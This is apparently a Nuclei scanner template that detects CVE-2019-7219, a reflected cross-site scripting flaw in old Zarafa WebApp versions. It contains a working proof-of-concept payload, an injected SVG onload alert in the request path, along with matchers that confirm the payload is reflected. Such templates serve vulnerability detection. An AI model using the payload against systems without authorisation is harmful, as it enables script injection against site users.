id: CVE-2019-7219

info:
  name: Zarafa WebApp <=2.0.1.47791 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    Zarafa WebApp 2.0.1.47791 and earlier contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: This is a discontinued product. The issue was fixed in later versions. However, some former Zarafa WebApp customers use the related Kopano product instead.
  reference:
    - https://github.com/verifysecurity/CVE-2019-7219
    - https://stash.kopano.io/repos?visibility=public
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7219
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7219
    cwe-id: CWE-79
    epss-score: 0.05173
    epss-percentile: 0.91367
    cpe: cpe:2.3:a:zarafa:webaccess:7.2.0-48204:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zarafa
    product: webaccess
  tags: cve,cve2019,zarafa,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webapp/?fccc%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(/xss/)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402203ede68b65e85340c28f687b638bc61e46bf1afa6d7d97a9af01e934d8101cf2002201e3aef98a74b58a838c82984639972977d4c4c321560dccd66df4a4cc6af283b:922c64590222798bb761d5b6d8e72950